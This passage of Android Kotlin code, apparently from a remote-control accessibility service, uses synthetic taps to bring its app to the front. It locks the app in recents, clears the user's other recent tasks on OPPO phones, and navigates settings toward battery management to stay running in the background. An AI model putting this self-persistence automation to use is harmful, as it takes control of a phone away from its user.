                Log.d(TAG, "🔄 不在本应用界面(当前: $current)，尝试打开应用 (尝试 ${attempt + 1}/5)")
                try {
                    val appIntent = Intent().apply {
                        action = Intent.ACTION_MAIN
                        addCategory(Intent.CATEGORY_LAUNCHER)
                        setClassName(context.packageName, "com.hikoncont.MainActivity")
                        flags = Intent.FLAG_ACTIVITY_NEW_TASK
                    }
                    context.startActivity(appIntent)
                } catch (e: Exception) {
                    Log.w(TAG, "⚠️ 打开应用失败", e)
                }
                delay(delay_page())
            }

            if (!inOurApp) {
                Log.w(TAG, "❌ 多次尝试后仍未进入本应用界面，取消清理任务")
                return false
            }

            // 1) 打开任务栏（最近任务）
            val opened = service.performGlobalAction(AccessibilityService.GLOBAL_ACTION_RECENTS)
            if (!opened) {
                Log.w(TAG, "❌ 无法打开最近任务")
                return false
            }

            // 等待最近任务界面稳定
            delay(delay_page())

            // 2) 查找并点击我们的APP名称
            val appNameClicked = findAndClickOurAppName()
            if (!appNameClicked) {
                Log.w(TAG, "⚠️ 未找到我们的APP名称")
                return false
            }
            delay(delay_page()) // 等待页面稳定
            delay(delay_page())
            // 3) 查找并点击锁定按钮
            val lockClicked = findAndClickLockButton()
            if (!lockClicked) {
                Log.w(TAG, "⚠️ 未找到锁定按钮")
                return false
            }
            delay(delay_page()) // 等待页面稳定

            // 4) 查找并点击清除全部按钮（优化版，减少卡顿）
            val candidates = listOf(
                "清除",
    
            )

            // ✅ 优化：减少尝试次数，增加延迟间隔
            repeat(2) { attempt ->
                Log.d(TAG, "🔍 第${attempt + 1}次尝试查找清除按钮")
                
                // ✅ 优化：异步获取根节点，避免阻塞
                val root = try {
                    getStableRootInActiveWindow(service)
                } catch (e: Exception) {
                    Log.e(TAG, "❌ 获取根节点失败", e)
                    null
                }
                
                if (root != null) {
                    try {
                        // ✅ 优化：批量查找，减少API调用次数
                        val allClearNodes = mutableListOf<AccessibilityNodeInfo>()
                        
                        for (text in candidates) {
                            try {
                                val clearNodes = root.findAccessibilityNodeInfosByText(text)
                                clearNodes.forEach { allClearNodes.add(it) }
                                Log.d(TAG, "🔍 找到 ${clearNodes.size} 个匹配 '$text' 的节点")
                            } catch (e: Exception) {
                                Log.w(TAG, "⚠️ 查找 '$text' 失败", e)
                            }
                        }
                        
                        Log.d(TAG, "🔍 总共找到 ${allClearNodes.size} 个清除相关节点")
                        
                        // ✅ 优化：快速筛选可见可点击的节点
                        val validNodes = allClearNodes.filter { node ->
                            try {
                                val isVisible = node.isVisibleToUser
                                val isClickable = node.isClickable
                                val hasText = !node.text.isNullOrEmpty() || !node.contentDescription.isNullOrEmpty()
                                isVisible && isClickable && hasText
                            } catch (e: Exception) {
                                false
                            }
                        }
                        
                        Log.d(TAG, "🔍 筛选出 ${validNodes.size} 个有效节点")
                        
                        // ✅ 优化：优先处理最可能的清除按钮
                        for (clearNode in validNodes) {
                            try {
                                val nodeText = clearNode.text?.toString() ?: ""
                                val nodeDesc = clearNode.contentDescription?.toString() ?: ""
                                
                                // ✅ 优化：快速匹配，减少字符串比较
                                val isClearButton = candidates.any { candidate ->
                                    nodeText.equals(candidate, true) || nodeDesc.equals(candidate, true)
                                }
                                
                                if (isClearButton) {
                                    Log.i(TAG, "✅ 找到OPPO清除按钮: '$nodeText' / '$nodeDesc'")
                                    
                                    // ✅ 优化：异步点击，避免阻塞
                                    val clickSuccess = try {
                                        performClickSafe(clearNode)
                                    } catch (e: Exception) {
                                        Log.w(TAG, "⚠️ 安全点击失败，尝试坐标点击", e)
                                        val rect = Rect()
                                        clearNode.getBoundsInScreen(rect)
                                        if (!rect.isEmpty) {
                                            simpleCoordinateClick(rect.centerX(), rect.centerY())
                                        } else {
                                            false
                                        }
                                    }
                                    
                                    if (clickSuccess) {
                                        Log.i(TAG, "✅ 成功点击OPPO清除按钮")
                                        // ✅ 优化：减少延迟时间
                                        delay(300)
                                        return true
                                    }
                                }
                            } catch (e: Exception) {
                                Log.w(TAG, "⚠️ 处理清除节点失败", e)
                            } finally {
                                try {
                                    clearNode.recycle()
                                } catch (e: Exception) {
                                    // 忽略回收异常
                                }
                            }
                        }
                        
                    } catch (e: Exception) {
                        Log.e(TAG, "❌ 查找清除按钮异常", e)
                    } finally {
                        safeRecycleNode(root)
                    }
                }
                
                // ✅ 优化：增加延迟间隔，减少频繁操作
                if (attempt < 1) {
                    delay(delay_page() * 2) // 增加延迟时间
                }
            }

            Log.w(TAG, "⚠️ 未找到OPPO清除全部按钮，清理可能不支持或UI差异")
            false
        } catch (e: Exception) {
            Log.e(TAG, "❌ 清除OPPO全部近期任务失败", e)
            false
        }
    }

    /**
     * ✅ 获取当前包名
     */
    private fun getCurrentPackageName(): String {
        return try {
            val root = getStableRootInActiveWindow(service)
            root?.packageName?.toString() ?: ""
        } catch (e: Exception) {
            Log.e(TAG, "❌ 获取当前包名失败", e)
            ""
        }
    }

    /**
     * ✅ 执行返回导航
     */
    private fun performBackNavigation() {
        try {
            service.performGlobalAction(AccessibilityService.GLOBAL_ACTION_BACK)
//            delay(500)

        } catch (e: Exception) {
            Log.e(TAG, "❌ 执行返回导航失败", e)
        }
    }

    /**
     * ✅ 在子树中查找指定文本的节点
     */
    private fun findNodeByTextInSubtree(node: AccessibilityNodeInfo, text: String): AccessibilityNodeInfo? {
        if (node == null) return null
        
        try {
            // 检查当前节点
            if (node.text?.toString()?.contains(text, ignoreCase = true) == true) {
                return node
            }
            
            // 检查子节点
            for (i in 0 until node.childCount) {
                val child = node.getChild(i)
                if (child != null) {
                    val result = findNodeByTextInSubtree(child, text)
                    if (result != null) {
                        return result
                    }
                    child.recycle()
                }
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 查找节点文本失败", e)
        }
        
        return null
    }

    /**
     * ✅ 查找并点击我们的APP名称 - 参考Vivo实现，增加更多按钮检查
     */
    private suspend fun findAndClickOurAppName(): Boolean {
        return try {
            Log.d(TAG, "🔍 开始查找我们的APP名称")
            
            val rootNode = getStableRootInActiveWindow(service) ?: return false
            
            // 获取我们的APP名称
            val pm = context.packageManager
            val appName = try {
                pm.getApplicationLabel(context.applicationInfo).toString()
            } catch (_: Exception) {
                context.packageName
            }
            
            Log.d(TAG, "🔍 查找APP名称: $appName")
            
            // 查找包含APP名称的节点
            val nodes = rootNode.findAccessibilityNodeInfosByText(appName)
            Log.d(TAG, "🔍 找到 ${nodes.size} 个匹配APP名称的节点")
            
            // ✅ 查找APP名称节点并检查兄弟节点的更多按钮
            for ((index, node) in nodes.withIndex()) {
                val nodeText = node.text?.toString() ?: ""
                val nodeDesc = node.contentDescription?.toString() ?: ""
                val isVisible = node.isVisibleToUser
                val isClickable = node.isClickable
                
                Log.d(TAG, "🔍 检查节点[$index]: visible=$isVisible, clickable=$isClickable")
                
                // 找到APP名称节点（无论是否可点击）
                if (isVisible && 
                    (nodeText.equals(appName, true) || nodeDesc.equals(appName, true))) {
                    Log.i(TAG, "✅ 找到APP名称节点: $appName")
                    
                    // ✅ 检查兄弟节点是否有"更多"按钮
                    val parent = node.parent
                    if (parent != null) {
                        Log.d(TAG, "🔍 检查父节点的兄弟节点，查找更多按钮")
                        val moreButtonClicked = checkAndClickMoreButton(parent)
                        if (moreButtonClicked) {
                            Log.i(TAG, "✅ 成功点击更多按钮")
                            delay(500)
                            return true
                        }
                    }
                    
                    // 如果没有找到更多按钮，直接返回false，不点击APP名称
                    Log.d(TAG, "❌ 未找到更多按钮，不点击APP名称")
                    return false
                }
            }
            
            Log.w(TAG, "❌ 未找到可点击的APP名称节点")
            false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 查找APP名称失败", e)
            false
        }
    }

    /**
     * ✅ 检查并点击更多按钮 - 优化版，减少卡顿
     */
    private suspend fun checkAndClickMoreButton(parent: AccessibilityNodeInfo): Boolean {
        return try {
            Log.d(TAG, "🔍 开始检查兄弟节点中的更多按钮")
            
            // 获取我们的APP名称
            val pm = context.packageManager
            val appName = try {
                pm.getApplicationLabel(context.applicationInfo).toString()
            } catch (_: Exception) {
                context.packageName
            }
            
            // ✅ 优化：减少更多按钮文本，只保留最常用的
            val moreTexts = listOf("更多", "More", "⋮", "⋯")
            
            // ✅ 优化：批量查找，减少API调用
            val allMoreNodes = mutableListOf<AccessibilityNodeInfo>()
            
            for (moreText in moreTexts) {
                try {
                    val moreNodes = parent.findAccessibilityNodeInfosByText(moreText)
                    moreNodes.forEach { allMoreNodes.add(it) }
                    Log.d(TAG, "🔍 找到 ${moreNodes.size} 个匹配 '$moreText' 的节点")
                } catch (e: Exception) {
                    Log.w(TAG, "⚠️ 查找 '$moreText' 失败", e)
                }
            }
            
            Log.d(TAG, "🔍 总共找到 ${allMoreNodes.size} 个更多相关节点")
            
            // ✅ 优化：快速筛选有效节点
            val validMoreNodes = allMoreNodes.filter { node ->
                try {
                    val isVisible = node.isVisibleToUser
                    val isClickable = node.isClickable
                    val hasText = !node.text.isNullOrEmpty() || !node.contentDescription.isNullOrEmpty()
                    isVisible && isClickable && hasText
                } catch (e: Exception) {
                    false
                }
            }
            
            Log.d(TAG, "🔍 筛选出 ${validMoreNodes.size} 个有效更多节点")
            
            // ✅ 优化：简化关联检查，减少复杂的父节点查找
            for (moreNode in validMoreNodes) {
                try {
                    val moreNodeText = moreNode.text?.toString() ?: ""
                    val moreNodeDesc = moreNode.contentDescription?.toString() ?: ""
                    
                    // ✅ 优化：快速匹配，减少字符串比较
                    val isMoreButton = moreTexts.any { moreText ->
                        moreNodeText.equals(moreText, true) || moreNodeDesc.equals(moreText, true)
                    }
                    
                    if (isMoreButton) {
                        Log.i(TAG, "✅ 找到更多按钮: '$moreNodeText' / '$moreNodeDesc'")
                        
                        // ✅ 优化：简化点击逻辑，减少复杂的关联检查
                        val clickSuccess = try {
                            performClickSafe(moreNode)
                        } catch (e: Exception) {
                            Log.w(TAG, "⚠️ 安全点击失败，尝试坐标点击", e)
                            val rect = Rect()
                            moreNode.getBoundsInScreen(rect)
                            if (!rect.isEmpty) {
                                simpleCoordinateClick(rect.centerX(), rect.centerY())
                            } else {
                                false
                            }
                        }
                        
                        if (clickSuccess) {
                            Log.i(TAG, "✅ 成功点击更多按钮")
                            return true
                        }
                    }
                } catch (e: Exception) {
                    Log.w(TAG, "⚠️ 处理更多节点失败", e)
                } finally {
                    try {
                        moreNode.recycle()
                    } catch (e: Exception) {
                        // 忽略回收异常
                    }
                }
            }
            
            Log.d(TAG, "❌ 未找到有效的更多按钮")
            false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查更多按钮失败", e)
            false
        }
    }

    /**
     * ✅ 查找并点击锁定按钮 - 参考Vivo实现
     */
    private suspend fun findAndClickLockButton(): Boolean {
        return try {
            Log.d(TAG, "🔍 开始查找锁定按钮")
            
            val rootNode = getStableRootInActiveWindow(service) ?: return false

            // 锁定按钮可能的文本
            val lockTexts = listOf("锁定", "Lock", "LOCK")
            
            for (lockText in lockTexts) {
                Log.d(TAG, "🔍 尝试查找锁定文本: $lockText")
                
                val nodes = rootNode.findAccessibilityNodeInfosByText(lockText)
                Log.d(TAG, "🔍 找到 ${nodes.size} 个匹配锁定文本的节点")
                
                for (node in nodes) {
                    val nodeText = node.text?.toString() ?: ""
                    val nodeDesc = node.contentDescription?.toString() ?: ""
                    val isVisible = node.isVisibleToUser
                    val isClickable = node.isClickable
                    
                    Log.d(TAG, "🔍 锁定按钮节点检查: text='$nodeText', desc='$nodeDesc', visible=$isVisible, clickable=$isClickable")
                    
                    if (isVisible && (nodeText.equals(lockText, true) || nodeDesc.equals(lockText, true))) {
                        Log.i(TAG, "✅ 找到可见的锁定按钮节点: $lockText")
                        
                        // ✅ 优先尝试直接点击
                        if (isClickable) {
                            val clickSuccess = performClickSafe(node)
                            if (clickSuccess) {
                                Log.i(TAG, "✅ 成功直接点击锁定按钮: $lockText")
                                delay(500) // 等待点击响应
                                return true
                            }
                        }
                        
                        // ✅ 如果不可点击，使用坐标点击
                        Log.d(TAG, "🔧 锁定按钮不可点击，尝试坐标点击")
                        val rect = Rect()
                        node.getBoundsInScreen(rect)
                        
                        if (!rect.isEmpty) {
                            Log.d(TAG, "📍 锁定按钮矩形: left=${rect.left}, top=${rect.top}, right=${rect.right}, bottom=${rect.bottom}")
                            val centerX = rect.centerX()
                            val centerY = rect.centerY()
                            Log.d(TAG, "🎯 锁定按钮点击坐标: ($centerX, $centerY)")
                            
                            val coordinateClickSuccess = simpleCoordinateClick(centerX, centerY)
                            if (coordinateClickSuccess) {
                                Log.i(TAG, "✅ 成功坐标点击锁定按钮: $lockText")
                                delay(500) // 等待点击响应
                                return true
                            } else {
                                Log.w(TAG, "⚠️ 坐标点击锁定按钮失败: $lockText")
                            }
                        } else {
                            Log.w(TAG, "⚠️ 锁定按钮矩形为空，无法坐标点击: $lockText")
                        }
                    }
                }
            }
            
            Log.w(TAG, "❌ 未找到可点击的锁定按钮")
            false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 查找锁定按钮失败", e)
            false
        }
    }

    /**
     * ✅ 延迟页面加载时间
     */
    private suspend fun delay_page(): Long {
        return when {
            Build.VERSION.SDK_INT >= 30 -> 200L // Android 11+ 减少延迟
            Build.VERSION.SDK_INT >= 28 -> 300L // Android 9+ 中等延迟
            else -> 500L // 其他版本 标准延迟
        }
    }

    /**
     * ✅ 获取稳定的根节点
     */
    private fun getStableRootInActiveWindow(service: AccessibilityRemoteService): AccessibilityNodeInfo? {
        return try {
            service.rootInActiveWindow
        } catch (e: Exception) {
            Log.e(TAG, "❌ 获取根节点失败", e)
            null
        }
    }

    /**
     * ✅ 简单坐标点击
     */
    private fun simpleCoordinateClick(x: Int, y: Int): Boolean {
        return try {
            val path = Path()
            path.moveTo(x.toFloat(), y.toFloat())
            
            val gestureBuilder = GestureDescription.Builder()
            gestureBuilder.addStroke(GestureDescription.StrokeDescription(path, 0, 100))
            
            service.dispatchGesture(gestureBuilder.build(), null, null)
            true
        } catch (e: Exception) {
            Log.e(TAG, "❌ 坐标点击失败", e)
            false
        }
    }
    
    // ======================== 新的完全后台行为配置方法 ========================
    
    /**
     * 打开应用详情页面
     * 使用Intent直接打开当前应用的应用详情页面
     */
    private suspend fun openAppDetailsPage(): Boolean {
        Log.d(TAG, "🔧 打开应用详情页面")
        
        return try {
            val intent = Intent(android.provider.Settings.ACTION_APPLICATION_DETAILS_SETTINGS).apply {
                data = android.net.Uri.fromParts("package", context.packageName, null)
                flags = Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TOP
            }
            
            context.startActivity(intent)
            Log.d(TAG, "✅ 已启动应用详情Intent")
            
            // 等待页面加载
            delay(2000)
            
            // 验证是否成功进入应用详情页面
            val rootNode = service.rootInActiveWindow
            val currentPackage = rootNode?.packageName?.toString() ?: ""
            Log.d(TAG, "🔍 当前包名: $currentPackage")
            
            // 检查是否在设置相关的应用中
            val isSettingsApp = currentPackage.contains("settings") || 
                              currentPackage.contains("com.android.settings") ||
                              currentPackage.contains("com.oppo.settings")
            
            if (isSettingsApp) {
                Log.d(TAG, "✅ 成功进入应用详情页面")
                true
            } else {
                Log.w(TAG, "⚠️ 可能未成功进入应用详情页面，当前包名: $currentPackage")
                false
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 打开应用详情页面失败", e)
            false
        }
    }
    
    /**
     * 导航到耗电管理页面
     * 在应用详情页面中查找并点击"耗电管理"
     */
    private suspend fun navigateToBatteryManagement(): Boolean {
        Log.d(TAG, "🔧 导航到耗电管理页面")
        
        return try {
            // 使用反编译代码策略查找耗电管理相关文本
            val batteryTexts = listOf(
                "耗电管理", "电池管理", "Battery Management", "Battery",
                "耗电异常", "Battery Optimization", "电池优化", "Battery Usage"
            )
            
            // 最多尝试5次，每次尝试前先查找，如果找不到就向下滑动
            for (attempt in 1..5) {
                Log.d(TAG, "🔍 第${attempt}次尝试查找耗电管理")
                
                for (batteryText in batteryTexts) {
                    Log.d(TAG, "🔍 尝试搜索: $batteryText")
                    val batteryNode = findNodeByText(service.rootInActiveWindow, batteryText)
                    if (batteryNode != null) {
                        Log.d(TAG, "✅ 找到耗电管理: $batteryText")
                        if (performClickSafe(batteryNode)) {
                            Log.d(TAG, "✅ 成功点击耗电管理")
                            safeRecycleNode(batteryNode)
                            delay(1500) // 等待页面加载
                            return true
                        }
                        safeRecycleNode(batteryNode)
                    }
                }
                
                // 如果当前页面没找到，且不是最后一次尝试，则向下滑动
                if (attempt < 5) {
                    Log.d(TAG, "🔄 当前页面未找到耗电管理，向下滑动继续查找")
                    if (performScrollDown()) {
                        delay(1000) // 等待滑动完成
                    }
                }
            }
            
            Log.w(TAG, "⚠️ 未找到耗电管理页面")
            false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 导航到耗电管理失败", e)
            false
        }
    }
    


  }  